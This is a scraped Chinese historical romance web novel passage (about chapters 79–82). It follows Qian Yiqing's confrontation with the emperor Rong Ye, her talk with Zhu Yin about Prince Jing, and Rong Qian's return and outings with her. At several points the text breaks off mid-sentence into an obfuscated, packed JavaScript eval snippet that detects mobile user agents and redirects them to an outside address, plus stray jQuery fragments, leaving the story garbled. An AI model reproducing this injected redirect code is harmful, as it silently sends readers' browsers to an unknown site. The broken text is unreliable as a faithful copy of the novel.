容烨的语气虽不带挑衅,稍稍扬起的眉却好整以暇的等待她的回应,或许是方才的话戳到他的痛处,容烨有意的想讥讽她一下。 只是,意想中的不快并没在千裔清脸上出现,这番话显然不足以引起她的情绪出现任何波动。 千裔清默然听完,只是淡淡“哦”了一声,面向他波澜不惊道:“我相信你说的,但可惜了,他遇见的那个人是我,遇见我,别的女人就再也没机会了。” 都说姻缘自有定数,至于那些如果不如果的事,她懒得考虑。 容烨对她自信的表情觉得颇有趣,微微扬眉:“你倒是想的开。” “我一直都想的开,倒是你。”千裔清起身整理好衣裳,淡漠地望向容烨,“咱们就别兜圈子了,璟王在哪?” 容烨沉叹一声,闭上眼睛捏了捏眉心,满脸疲惫:“不管你信不信,我没打算杀他,等九弟回来,二哥自然也会回到璟王府,所有的事情我都可以当做没发生过。至于祝音......我们自小交好,我待她就如自己的妹妹,她的安危你大可放心。” 果然是他突然改变主意,他不想要璟王的命,不想要璟王死,因此在原定计划中率先行动在璟王之前,但没告诉容潜。 他不信容潜,就像当初以佑王作为理由命令容潜提前发兵,若他立功便能将功补过,这些话在容潜那边虽是逢场作戏,是为了堵其他官员的嘴,但未必没有掺杂几分势在必得的真心。 千裔清替容潜觉得不平:“如果你真心待他,即便什么都不许给他,容潜也会答应你的。” “先帝不允你攻打绥夏是你旧时的遗憾,如同江依斐的离世对你来说同样遗憾,所以你不想越曦也成为你的遗憾,可是你有没有想过,越是算计自己的亲近之人,你怕的这些越会成为你的遗憾。” 千裔清的话每一个字都像一根根针一样,一支一支扎进容烨的心脏,他的脸色也随着千裔清的话越来越难看,总是一副温润模样的帝位在此刻终于掀开假面的一角。 他阴沉地望着千裔清:“你有什么资格说这些话,同样的事你何尝没有做过!” 千裔清反倒很坦然:“我做过,也差点让这些遗憾成真,所以我最有资格说这些话。可我也很幸运,因为我遇见的那个人是容潜,至于您——” 她笑了笑:“皇上,您好像就没这么幸运了。” “你真以为朕不敢杀了你!” 这番话终于挑起容烨的怒意,那张俊俏的脸上被怒气染上几分绯红,起身时,甚至带起身前桌上的几份奏折,那些乱七八糟的纸张和折子一同被掀翻在地,哗啦啦的响作一片。 千裔清丝毫不惧,直视他的眼睛:“皇上要杀谁便杀谁,岂是我以为就能简单改变的事!我只是替容潜不值,昔日璟王勾结佑王陷害与我,是你帮了他,他待人虽不亲热,但真心天地可鉴,我不信皇上您看不出!” 千裔清越说越激动,嘲讽道:“他当你是兄长,替你征战沙场,你要什么他便替你赢回什么,可笑的是他早觉察到您对他并非全然真心却还是这么做了,陪你演这场戏了,可你呢,连这点信任都没有吗?” 说完,她不屑的笑了笑,扑通一声跪在地上,脊背挺得笔直,眼睛盯着面前的地板,看也不看容烨一眼:“皇上要杀了我还是要将我收监,下旨吧!” 千裔清没抬头,只能听到断断续续隐忍的呼吸声。 良久,头顶方向传来容烨冷冰的声音。 “滚出去。” “没听见吗?滚出去,滚回你的崇安王府去!” 直到第二声怒斥落地,千裔清抬眼,望了一眼他铁青的脸色,有种她再待下去就会被杀之后快的感觉。 她统共见过容烨不多次,从前他是太子,如今他是皇帝,皆在高位,万人之上。 然而这样一个人总是十分得体的出现在众人视线之中,鲜少重语,鲜少喜形于色,总是温和的,却一身帝王之威。 千裔清似乎没见到他如此生气过,可他越是生气,越是表现得气恼,千裔清却觉得他越是可怜。 璟王也好,容烨也好,他们都善于把自己的情绪隐藏的极好,似乎只有这样才能够运筹帷幄,把控全局,对自己人也不例外。 千裔清提着衫裙起身,恭敬道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15138457|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢过皇上。” 抬脚跨过金漆的门槛,身后传来“哗啦”一阵乱响,千裔清微微转头,余光还能瞧见龙椅之上笼罩在铺天盖地的文书之后的那块影子,他的神情被映衬的晦暗不明,肩头不知是因气愤还是别的什么而轻颤着。 一朵云彩飘过,高窗外渗透进来的一丝光亮云忽而消逝,而他脸上本就看不清楚的神色也彻底归于模糊。 离开宫门,陆离早就等在外头和她会合。 见人出来了,陆离上上下下仔细打量一遍,确认她毫发无损,心中放心一些,问:“见到皇上了?璟王果真在宫里?” 容烨虽是没直接说明,但他即说过往不究,和直说也没什么两样。 千裔清点头:“他没事。” 陆离倒不关心璟王有事没事,毕他同璟王没多少交情,后来容潜又和璟王日渐减少往来,忠仆随主,自然不会在意。 话又说回来了,容潜当初受伤的事陆离也是后来才知道,也是第一次听闻伤人者是璟王和他身边的燕歌,璟王心里清楚容潜一定认得出自己,所以也并非真的想要人性命,一次出手,不过是警告容潜不要插手此事。 可他毕竟伤了容潜,饶是容潜原本没打算与他决裂,这下也无法不失望至极,彻底寒心。 经由此事,陆离如何还能对璟王报以同情,他唯一担心的是千裔清因为祝音的关系非要救他,这无疑是和容潜站在对立面,这要是站在对立面......这俩人岂不是又要闹得不可开交? 每次遭殃的都有他,这可吃不消! 一想到这陆离就觉得头疼,皱着眉头捏了捏眉心:“那......你怎么想?你要救他?” “我没想救他,而且皇上本来也没打算动他。”千裔清拍了拍陆离的肩头,安抚似的,“他们是自小一起长大的兄弟,兄弟间的事咱们管不了,还是等容潜回来吧。” 陆离赞同道:“绥夏良兵本就不如我们多,咱们部署那么久了,这次定能取胜!” 千裔清相信陆离说的,若非相信,她也不会答应回来。 容潜天生是战场的王者,她留在那里只会拖累他,千裔清不想拖累他,她能做的,只有等。 - 千裔清回去,府上一干人都惊讶坏了,尤其是绛珠和绛雪,豆大的泪珠一颗接着一颗的掉。 她也不好说自己去了边境,也不好说容潜还活着,只能以出门散心为由搪塞过去,所幸她现在全须全引的站在众人面前,搪塞过去也就罢了。 趁着回来,家里药材齐全,千裔清便急忙把药赶制出来,不论夜南能否找到方幼渺和师傅,她都需要留一手准备。 正如容烨所说,江依斐和越曦是完全不同的两个性格的人,一个整日藏于深宅大院温婉贤淑,一个来往于形色人群游刃有余,相貌也毫不相似。 容烨喜欢她,并非把她当做谁的替代品,越是这样,他也就越难放手。 越曦不愿意留在宫里,太后也并不喜欢她,有了前车之鉴,难保她不会落个同江依斐一样的遭遇。 总之,宫里她是留不得了。 80. 回家 时间过得很快,转眼到了七月中旬。 小暑,温风至,天又热又长。 王府里刚煮好绿豆水,给大伙儿都祛祛懒气,就是没见着宝山。过了许久,人都散了,宝山才着急忙慌的从外头回来,说是崇安王带着人马回来了,就在城外不远,陆离刚刚动身去接。 大家先是惊讶崇安王还活着的消息,又是激动又是高兴,这样一来便不愁自己没地儿去了,跟着时间久的旧仆则是放下心来,绛珠一听说这个消息就急忙回来通传。 绛雪正在给千裔清打扇子,看着她忙活自己的物什,听完绛珠的话也只是淡淡“嗯”了一声,弯着腰手脚不停。 绛雪愣了一下:“殿下平安回来,您怎么一点反应都没有?” 嗯......也不是那么无动于衷吧,只不过她一早就知道容潜还活着的消息,如今听说了,确实做不出什么惊讶的反应。 没过多久,府里的下人又来通报,说是陆离派人送来消息,要陪同殿下一道入宫,皇上今晚要为崇安王接风洗尘。 千裔清点点头,对着他道:“去璟王府知会一声,若是璟王妃得空了,请她来我这坐坐。” 下人应了声是,虽是不明白为什么这会儿要见璟王妃,却也照做了。 直到城中很快传遍了崇安王凯旋而归的消息,百姓们不清楚其中缘由,一个劲儿的赞叹天佑夜南,崇安王不愧是崇安王。 恰逢这时,祝音果真到了崇安王府门前。 一进偏厅,祝音满脸倦容,整个人看起来憔悴不少,眼下的乌青一看就知道很少合眼,都没怎么梳洗打扮稍作遮掩,就这么匆匆赶来。 千裔清见她这副模样,先是一怔,连忙给她倒了杯温茶。 直到她神情缓和一些,没有方才那么急切了,千裔清才问:“皇上肯放你出来了?” 祝音面色滞了一瞬,语气有些僵硬:“你、你知道了?” 千裔清拉着她,拍了拍她的手背:“听说你前些日子来找过我,也是为了璟王的事对不对?” 祝音咬着唇,欲言又止。千裔清耐心等她组织好自己的语言。 末了,祝音把心一横,仰头起身,提起她繁重的织锦绣裙跪在地上,惊的千裔清一愣,立刻着手扶她。 却怎么也扶不起她,祝音摇头,目光坚定的难以撼动:“千千姐姐,我知道玉衡哥哥做了很多错事,但念在崇安王如今平安回来,你能不能劝劝他,替玉衡哥哥向皇上求个情,不要杀他!” 说着,泪珠如断了线的珍珠一般落下,哭的上气不接下气:“我、我知道我没用,出了事总求着别人帮我想办法,是我拖累了你,连累了你,我求你最后一次,无论如何......留玉衡哥哥一命,好不好?” 千裔清叹了一口气,蹲在她面前看着她:“你不用求我——” “千千姐姐!”祝音急道,以为千裔清不肯帮她。 “我是说皇上根本没打算杀他!”千裔清按住她紧紧抓着自己的手,直视她的眼睛,一字一句,“如果皇上真的要杀他就不会先他一步把人扣在宫中,何不做实他的罪名让他成为全夜南百姓口中唾弃责骂的罪人,谋逆是大罪,不然你以为你现在还会有命活着来见我吗?” 这番话似乎终于说动了祝音。 千裔清拉着她起身,把人按在椅子上,摸了摸她的头发:“可是祝音,你能不能告诉我,你是什么时候知道这些事的?” 祝音没想到千裔清会突然问出这么一句话,缄默了片刻。 千裔清笑了笑:“你可不要想着诓我,真话假话,我可是一下就能听出来的!” “你很了解我。”祝音破涕为笑,一点也没有打算说谎被拆穿的尴尬,反而有些宽心,“那天你来找我,你和玉衡哥哥在大门说的话我都听到了,他总觉得我傻,其实我只是相信他,很多事情不愿往旁的地方去想......” 她的神情忽而变得伤感:“但我们相识那么多年,成亲之后更是朝夕相处,我再傻,也不至于完全猜不透他的心思。” 多年的枕边人,怎么可能一点都不了解? 千裔清默了默,问:“等璟王回来,你打算怎么办?” 祝音摇了摇头。 “老实说我不知道。”她苦笑一声,“我只想他活着,别的都不想,不是不想,是不敢想。” 怕,是奢望。 沉默了片刻,祝音重新打起精神,勉强笑了笑:“时候不早了,崇安王也快回来了吧?” “皇上为他们摆了庆功宴,应该会晚些。”千裔清看着她不由自主攥起的拳,顿了顿,“......你怕他?” “在坤京,提起崇安王没有谁是不怕的。”祝音无奈地扯了扯嘴角,有些苦涩的道,“出了那些事儿,崇安王和玉衡哥哥再不像以前,我心里清楚,他连我一道恨上了。” 千裔清很想安慰她,在千裔清面前,容潜其实一直是个嘴硬心软的人,他的好,旁人并不了解。 但这些话说了也是无用,眼见着祝音变得如此失魂落魄、满心愁绪,千裔清默了默,问:“你后悔过吗?我知道你自小就喜欢璟王,如果早知道他会如此,你还会喜欢他吗?” 祝音没有回答她的问题,抬起眼直视千裔清,反问道:“你喜欢崇安王吗?和他在一起,你后悔吗?你若喜欢他,就会明白我的。” 千裔清怔了怔,暗叹一声:“我明白的。” 真的喜欢上一个人,就不会再回头了。 - 今晚的天和那日在绥夏边境一样,微风温热,月朗星稀,天空如幽深的潭水,又深、又高、又阔。 王府的小院也不似以往让她觉得压抑。 借着月光,千裔清站在廊下,身边架子上放着刚摆晾出来的药草,木架上是崭新的铜盆,绛雪拿帕子给她擦去指尖沾染的药汁,蔷薇露浸在水中散着幽幽的花香。 绛雪一抬眼,目光所至,一道熟悉的人影缓缓走来,脚步轻慢,扬手对她摇了摇。 她张了张嘴,未出口的礼节生生咽回肚子里,对着千裔清道:“奴婢去看看热水好了没,再给您添点儿。” “嗯。”千裔清头也没抬,拿着帕子在手指上一下一下沾着。 片刻后,那道高大的人影来到他身后,带着淡淡酒香的呼吸在她耳后喷薄。 千裔清没忍住,弯了弯嘴角开口:“别演了,早知道你来了!” 容潜顿时有些丧气,绕过她身边歪着头瞧她:“知道了还装作不知道,难道是不欢迎我?” 千裔清觉得有点好笑,挑起眼帘看着他:“欢迎,但我这腾不开手。” 说罢,她眼神落在手上示意。 容潜随着她的目光而动,自然地接过干净的帕子,拉起她的手仔仔细细擦干净,每个指节都不放过。 千裔清笑着看他认真的模样,任由他缓慢认真的给她清理,直到最后一节小指上的水珠也被抹去,那方干净的帕子沾满水渍,被随意搭在木架上的栏杆。 千裔清伸出手臂,双手从颈后环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见她面露纠结,容潜笑道:“其实我早就猜到了,皇兄他们自小就是一起长大的,虽非一母同胞,也毕竟有感情在,我算什么。” 分明是让人听着心酸的话,此刻从容潜口中说出来却像满不在乎一般。 他握着千裔清的手,接着说道:“我比起他们入宫时间晚,母亲又没有名分,小的时候其他兄长虽待我客气,却只有八哥与我最亲近,后来渐渐长大,懂的事理,二哥五哥他们才开始同我熟络起来,可我也明白,是因为我对他们争权没有任何威胁,又或是因为可怜我,真心......其实并没有几分。” 真心......想起从前种种,璟王待他应也是有过真心的吧。 可惜真心在皇家并不值什么,即便是亲生兄弟之间,谈真心也太奢侈了。 “可你似乎......”千裔清欲言又止,反握着他的手紧了紧。 容潜垂下头看了一眼,凝望着她:“你是想问我为什么一点儿也不难过?” 微微叹了口气,他又道:“心酸总是有的,不过我想通的早,便也不那么难以接受了,再说,我不是有你了?” 千裔清怔了怔,望着他温柔如水的眼睛。 耳边是他更加温柔的话语,容潜噙着笑,缓缓说:“我本就不属于皇家,他们待我如何都无妨,他们要帝位、要权势,而我只要你。” 81. 游舫 也不知是不是天气闷热,好端端的,千裔清被这简单一句话弄得耳廓一热,心虚的低下头去。 容潜见状捏着她下巴抬起,硬生生的对上自己的眼睛:“怎么,这就害羞了?” 接着,他靠近千裔清耳边,抵着她发烫的耳垂轻轻吐息:“行房的时候,也没见你害羞啊?” 行房的时候,她也没害羞的机会啊! 千裔清咬了咬唇,食指点着他胸口把自己拉远一些,微眯着眼道:“你要是再说下去,我保证你以后别想碰我。” “好好好,不说了!是我错了。”容潜握着她的手指轻啄两下,而后拾起正色,“还有一件事,官朗州......我们没有找到。城中的百姓的确有人见过,但他们也没在意官朗州去了哪里,带回来的宫中内眷也都对他没什么印象,所以他应该只是去过绥夏,但又离开了。” 千裔清想了想,又问:“那方幼渺呢?” “认识方幼渺的人几乎没有,没人知道她长什么样子,也没有人听过这个名字,都说方幼渺擅长易容改面,想要隐藏自己的行踪应该不难。” 容潜说完还觉得有些抱歉,迟疑了片刻,说道:“抱歉,答应你的事我没有做到。” 千裔清摇摇头。 这不能怪他茫茫绥夏寻一个外族人本就如同大海捞针,看运气罢了。没有找到,可也没有带回他的尸体不是吗? 这是不是也能说明,师傅还活着。 千裔清只能这么安慰自己。 “好了!”容潜拉着她回神,不满道,“与其关心别人,不如看看我。这几日天气热的很,你瞧我是不是晒得黑了?” 闻言,千裔清扯过他的衣襟仔细瞧瞧,脖颈以下只有浅浅的过渡,还没到晒出明显分界线的地步。 她的指甲划过颈下不曾触过阳光的皮肤,留下一道浅浅的涟漪:“是有一点。” 划痕所过,涟漪泛起阵阵绯红,酥酥痒痒的触感仿佛还停在他的颈边。 容潜攥住她的手,蓦然出声,嗓音已经变得喑哑:“勾引我?” 千裔清失笑:“这也算勾引?要是让朝中那些年迈的文官听见,又该说你崇安王不务正业了。” 容潜扬起唇,满不在乎道:“他们若不满大可自己前赴沙场,一群只会动嘴皮子的迂腐老头!” 千裔清挑眉,反唇相讥:“兴许在他们眼里,你还是个只会舞刀弄枪的莽夫呢?” “莽夫?” 似乎对这个评价颇为不满,容潜听罢,把千裔清拉进怀里,扣着她后颈按在胸前,低头望着。 他似笑非笑道:“我在床上可比在战场上莽的多,你要是忘了,我帮你回忆回忆?” 千裔清怔了怔,手指从胸口移到他的锁骨,稍停了一瞬,勾着他脖子环住。 她弯着眼睛,笑得明媚又勾人心魄:“好啊。” 既然两情相悦,何须扭捏作态。 得到允肯,容潜再不掩饰自己瞳孔中翻涌的沉色,稍稍用力便揽着她的腰提在怀里,几步往榻上带去。 俯身压下,他拉下自己肩头的衣襟,指着那处已经长好的咬痕位置,一脸认真:“迟了,罚我。” 还有这么上赶着领罚的? 千裔清用指尖磨蹭着他光洁的肩头,眼波流转,从肩上移到容潜的脸上,打趣他:“刚遇见你时你拿剑伤自己,现在又巴巴的让我咬你,容潜,你是不是有什么特殊癖好啊?” 男人喉结动了动,撑在她脑袋两侧的手指微微蜷起,攥紧了身下的被面。 容潜的目光牢牢锁在她脸上,声音比夜色还要深沉:“只有这样才能记得清楚,只有牢牢印在身上,我才能觉得你始终在我身边。” 而后他陡然笑了,自嘲道:“你是不是觉得我这么想很可笑?” 容潜小时候不与人亲近,得到长辈的关爱更是少之又少,对他来说,感情是最不实的东西,看不到,摸不着。 他想把这种虚幻飘渺的东西留在手中,留在看得到摸得着的地方。 可笑么?不过是没什么安全感罢了。 她想了想:“有点幼稚,不过我很喜欢。” “真的?”正因前一句话感到受挫的人陡然来了精神,眼神赫然一亮。 “真的,我很喜欢。” 得到再次肯定的答案,容潜笑了笑:“真好。” 过了一会儿,他又喃喃的重复一遍,由衷觉得:“真好。” 前尘过往都不重要,重要的是,她又在他身边了。 终于,又在他身边了。 真好。 - 银月换了金盘,阳光明媚的紧。 千裔清醒的很早,反倒是容潜破天荒的睡一次懒觉,眼睛紧紧闭着,睡得极安稳。 在战场时几乎日日处于紧绷的精神状态,尤其是最后几日,更是马不停蹄的向城内进攻,劝降,合眼的时辰都很少。 现在好不容易回到安稳的地方,多睡一会儿刚好可以养养精神。 睡觉的样子也这么好看。 千裔清盯着他看了一会儿,突然不自觉笑了。 这声轻笑落入容潜耳边,他紧跟着皱了皱眉,移开环着她腰背的手来到她的脑袋上拍了拍,嘟哝道:“再睡一会儿。” 千裔清不出声了,改为默默盯着他看。 少顷,容潜有些无奈的嗤笑一声,缓缓睁开双眼。 长睫掀起,那双狭长的凤眼中含着还未清醒的睡意。 杏眼微怔,千裔清望着他撇清自己:“我可没出声。” 他的嗓音还很沙哑,原就低沉的声线更显磁性:“被你这么盯着看,谁能睡得着?” 千裔清扒拉下他搁在自己脑袋上的手掌,顺势拉着胳膊晃了两下,眼睛含笑:“睡不着就别睡了,我们出门吧!” 纵然意识还不大清醒,容潜还是由着她:“好,你想去哪儿?” “七月的荷花开的最盛,咱们去游湖吧。” 这个念头其实早已在千裔清脑海中盘旋无数遍,今天总算是提出来了。 容潜想也没想:“好,我让人备车。” 千裔清问:“游完湖可以去戏园子听故事吗?” “可以。”容潜答她,又问,“还想去什么地方?” 千裔清想了想:“暂时还没想到,今天就暂且这样安排吧。” - 刚过小暑,正是夏季热起来的开始,好在天公作美,今天阳光虽然好看,却不至于那么酷热。 尤其上午,湖面上还有柔和的夏风拂过,微凉,倒也惬意。 有时候千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169201|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裔清也觉得王府的下人实在太不懂变通。 说好了要条小船随意游赏一番即可,随行的下人好不容易听明白放弃租下船楼的念头,最终还是送了条双层的游舫过来,还说什么崇安王府不能丢了排面。 唯一欣慰的是,没上一条那么大、那么招摇了。 天色正晴,阳光照的水波透亮,像一层一层琉璃晃动不止。 远远的,还有几条小舟在湖面上随意停泊,有的随着风向微微飘动。 闭着眼趴在舫尾,直到太阳晒得脸都热了,泛着动人的粉色,千裔清这才睁开眼睛。 俊逸清冷的面容,映着粼粼湖光的瞳仁中圈起她回望的样子。 千裔清勾了勾唇角:“让你游湖欣赏风景,你总盯着我看什么?” 容潜仍是看着她,伸出食指在她鼻间轻点一下,道:“风景。” 嗯,就当他是在夸自己好看了。 千裔清抬起胳膊,翻过身倚进容潜怀里,头搁在他的肩膀:“你会不会觉得很无聊?” 如果是他一人泛舟,他定是很难有这么好的雅兴,可若是陪她的话,即便是在这湖上漂个三天三夜,他也觉得乐得其所。 容潜揽紧她的肩头,笃定道:“不会。” 千裔清解释道:“我只是没有游过湖,好奇罢了,不过感觉是挺特别的。” 容潜顿了顿,问:“我记得你说过,你家里是做琴肆生意的。” “嗯。”千裔清朝他怀里挪一些,找了个自己觉得舒服的姿势,“以前家里住在镇上,周边都是一座接一座的山,见不着水,而且家里生意忙,我也没有闲暇时间去游山玩水。” “所以你以前才说羡慕我?”容潜想到她以前总在听起他游历经历时流露出羡慕的眼光,低下头看着她,“戏园子也没去过?” 千裔清撇撇嘴:“没去过,女子抛头露面本就惹人非议,若是再去这些地方,爹娘脸上就要挂不住了。” 容潜皱眉:“没这个道理,有我在,没人敢议论你。” 若有,就杀了。 千裔清笑道:“我倒是不怕什么非议,况且爹娘现在也不在了,哪还有什么脸面不脸面的。” 如今整个夜南,又有谁还记得她家从何处,来历何如呢? 容潜沉吟片刻,沉声坚定道:“你若想去,不论哪里、不论何时,我陪你。” “真的?”千裔清来了精神,眼睛一亮看向他,“从前你去过的那些地方,再去一次也可以吗?” 容潜弯了弯嘴角:“可以,只要你喜欢,都可以。” 从船上下来时正好晌午,也是太阳最晒的时候,这会子戏园子离开门还有半个多时辰,不如先去吃了午饭。 酒楼里比街上凉快,两人穿着常服,又没带那么多的下人,看起来就像是新婚燕尔的小夫妻一般。 但也有眼尖的认出崇安王,毕竟回城当日,街上看热闹的也不在少数,容潜这般矜贵轩昂的气质,也鲜少有人能认错。 不过认出又如何,也是没人敢正眼去看的,只能偶尔和同伴说上几句,眼神示意一番,只道这崇安王平日里一副不好招惹的样子,不似传闻那般,对待家眷倒是体贴的紧,比店里小二对待客人还要殷勤。 任谁不叹上一句,当真是英雄难过美人关。 82. 贵客 戏园子里实在闷的紧,二楼倒是还好,只是楼里实在嘈杂,千裔清听了没多会儿就开始打瞌睡,拉着容潜出去转转。 暮色四合,茶楼里翻了桌,东巷的说书人拿着醒木晃晃悠悠走进茶楼,而里面早已宾客满座,看起来等很久了。 曲儿听得没意思,听听故事也不错。 随行的家仆很有眼色,先一步进店跟掌柜要了处雅座,只待自己主子过来。 蜜饯海棠和明前龙井很快摆好搁在桌上,栏外的楼下,说书人一拍醒木,话头已经开始。 方才听说这次的故事还是东街那家书肆最近上的话本,冲着新故事,听书人总是比别的地方多些。 千裔清听得饶有兴致,瞥了隔壁的容潜一眼,唇边挂着浅笑,也不知道在想什么。 隔着桌子,千裔清拉了拉他的袖子,好奇道:“你觉得有趣?” 容潜的目光落在她脸上:“倒也不是有趣,只是觉得这故事里的人和一位老相识还挺像的。” 故事的情节其实算不上稀奇,讲的正是一个江湖杀手因为仇家众多而无奈放弃与心爱女子厮守的机会,相见却作不相识、默默守护对方的故事。 想了一圈也没觉得谁能对的上号,千裔清问:“旧相识?我认识吗?” 容潜似笑非笑道:“你不觉得书里的江湖杀手和喻景淮很像吗?” 千裔清思索片刻:“喻门主?” 她对喻景淮的过去其实并不了解,经容潜这么一提,恍惚想起四年前同他的第一次见面。 点了点头,她道:“你觉得他这么做不对?” 容潜摇摇头:“我只是觉得他这么做很蠢。” 敢这么议论喻景淮,甚至在他面前也敢这么说的,这世上恐怕没几个。 千裔清不免咂舌,却又觉得不解:“为什么?” 容潜自信地望着她:“为了珍爱之人免受牵连而选择放弃,这是懦夫的表现,他身为一门之主,面对感情却如此胆小怕事,所以我说他蠢。” 这么说其实也不对。 想起云染那小丫头一家灭门的惨案,其中还牵连到越家姑娘,虽然事情真相最终大白,但其中波折也是不少,尤其云染更是受了不少苦。 算起来,喻景淮还是很有先见之明的,可惜飞来横祸、防不胜防。 千裔清挑了挑眉,一脸不屑的表情:“那敢问殿下有什么高见?换做是你,你会怎么做?” 容潜学着她的样子回以挑眉的动作,凑近道:“我会怎么做,你不是已经知道了吗?” 千裔清佯装惋惜地叹了一声:“那是因为你是崇安王,可这世上不是人人都是崇安王。” 他有资格,也有能力争取自己想要的、喜欢的,有本事禁锢在自己身边,也有本事保护,这一切都归于他是崇安王。 天底下的普通人这么多,不是人人都能做到像他一样无所畏惧,就算是喻景淮,他的不得已也很多很多。 “我是崇安王,可我原本也不是崇安王。”容潜微微扬起下巴,眉宇间带着认真,“有了想要的,我才会去做崇安王。” 想起喻景淮,他唇角勾起嘲讽的一笑:“如果他想他也可以做崇安王,可惜他不敢,只会一味逃避,最后还不是落得这般下场。” 早些强大起来,或许就能保护重要的人,喻景淮或许有这个能力,但他太怕失败了,所以他畏惧,又或者可以说他太珍惜云染,所以不敢冒险。 若是如此,那是容潜不够珍惜她所以才会如此吗? 千裔清认真思考了一番,不是的,因为他是容潜,他从来不觉得自己会输,也不认为除他以为还能有谁能做到更好,他有强大的自信和偏执。 这是他和喻景淮做了不同选择的最大原因。 若非他如此,换成谁也都是难以打动千裔清的。 见她想的入迷,容潜屈起手指敲了敲她的额头,那双眼睛带着探究:“在想什么?” 千裔清道:“还好是你。” 容潜面上顿了顿,而后笑着点头:“只能是我。” 除他以外,再没有人同她如此默契。 可惜说书人总喜欢卖个关子,故事说到一半戛然而止,台下一片哗然,都因为吊起的兴致而失望。 一句“且听下回分解”话音刚落,府里的下人听从陆离差遣着急忙慌的前来传信儿,说是宫里来人了,喊殿下快些回去。 能让陆离抽不开身又这么着急差遣人出来的还能是谁,宫里来的,不必明说,只看家仆一脸紧张的神色就知道了。 容潜皱紧眉头,转过头对千裔清道:“皇兄来了。” 千裔清猜到是容烨,只是没想透这么大晚上的他来做什么,有什么事是不能派人传话而非要亲自来一趟的? 然而不管怎么说,皇上亲临,陆离一个人也不能招呼太久,正主还是要回去的。 马车比出来时候跑的更急一些,转眼落脚在崇安王府门前。 皇宫的车辇早已停好,随行侍卫不过四个,都在外面候着,没人进去。 大门开着,院子里灯火通明,一进去,书瑞正在外院等候,见着容潜像是见到救世主一样。 容潜心下一沉,和千裔清相视一眼。 书瑞急道:“殿下可算回来了!皇上来了,一进门脸色就不好,在正殿等了好一会儿了,陆离大人正陪着呢!” 容潜回了声“知道了”,而后看着千裔清:“看样子是为二哥的事。” 眼下容潜刚刚得胜归来,前有十方、后有绥夏,容烨应该高兴才对,而今愁眉不展来到王府,除了这个,他想不到还能有什么。 说实在的,容潜没兴致听他说故事,也懒得去帮他思考如何处理,这些都和他无关,对于这座皇宫,他是个外人,至于兄弟,他也没那么抬举自己。 千裔清点头,正好在外面逛了一天,吩咐下人抬了热水先沐浴干净。 - 前厅正座,新换的茶水冒着热气,水面上是冲泡的胀起的茶叶,取的是叶芯最嫩的绿芽,又翠又亮。 这是换的第三杯,仍是一口没动,安静的搁在他肘边。 暗红色的长袍穿在身上,玄色的袖口边上锈了两道暗纹,他甚少穿这种深沉的颜色,这样一瞧果然不大习惯。 容潜抬脚迈进房门的时候,陆离正在他三步远的地方立着,是不是答一句问话,毕恭毕敬,拘谨之极。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169202|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 来人还没进门,陆离已经注意到了,抬首行了个礼,道一句“殿下。” 看了一眼高坐之上一言不发的人,容潜朝陆离抬抬下巴:“你先下去,我陪皇兄说说话。” 待人退下,顺带着关上大门,屋里的灯火亮的有些晃眼,容潜勾了勾唇角,坐在同位上那人搁了把椅子的位置:“皇兄这会不是应该在正珵殿批折子,怎么有空来我这儿?” 容烨低头沉吟,鼻梁一侧落下一块阴影,淡淡开口:“小的时候你都唤我五哥,如今却很少再这么叫我了。” 称呼总是能让人很轻易的感受到疏远和亲近。 容潜懒散地掀起眼皮,一副事不关己的样子:“皇兄过来不是和我讨论称谓的吧?” “你在气我。”容烨望着他,不是问句,而是确信。 容潜笑了一声:“我以为这些事回宫时候已经说清楚了,皇兄,你实在多虑了。” 容烨自嘲的摇摇头,也觉得现在计较这些没什么意思。不是没意思,而是已然晚了。 他叹了口气:“赐婚的事我答应过你,不会食言。” 容潜怔了怔,而后温和道:“多谢。” “此外,我今晚过来还有别的事想与你商议。”说到这里,容烨脸上露出几分为难。 他今晚出宫随行人很少,都是亲信,出门的时候特意换了不招眼的衣裳和车辇,这样一番周折,唯恐懿祥宫那位听到什么风声。 容潜明白,容烨顾念兄弟情义,而太后却视所有想与她儿子争权夺位的人为眼中钉,非要置于死地不可。 那日正是太后的眼线不小心瞧见容烨御桌上的书信,她这才临时起意传唤璟王入宫,只是皇宫毕竟是她儿子而非她的,她要做什么,怎会轻易逃过皇上的掌控。 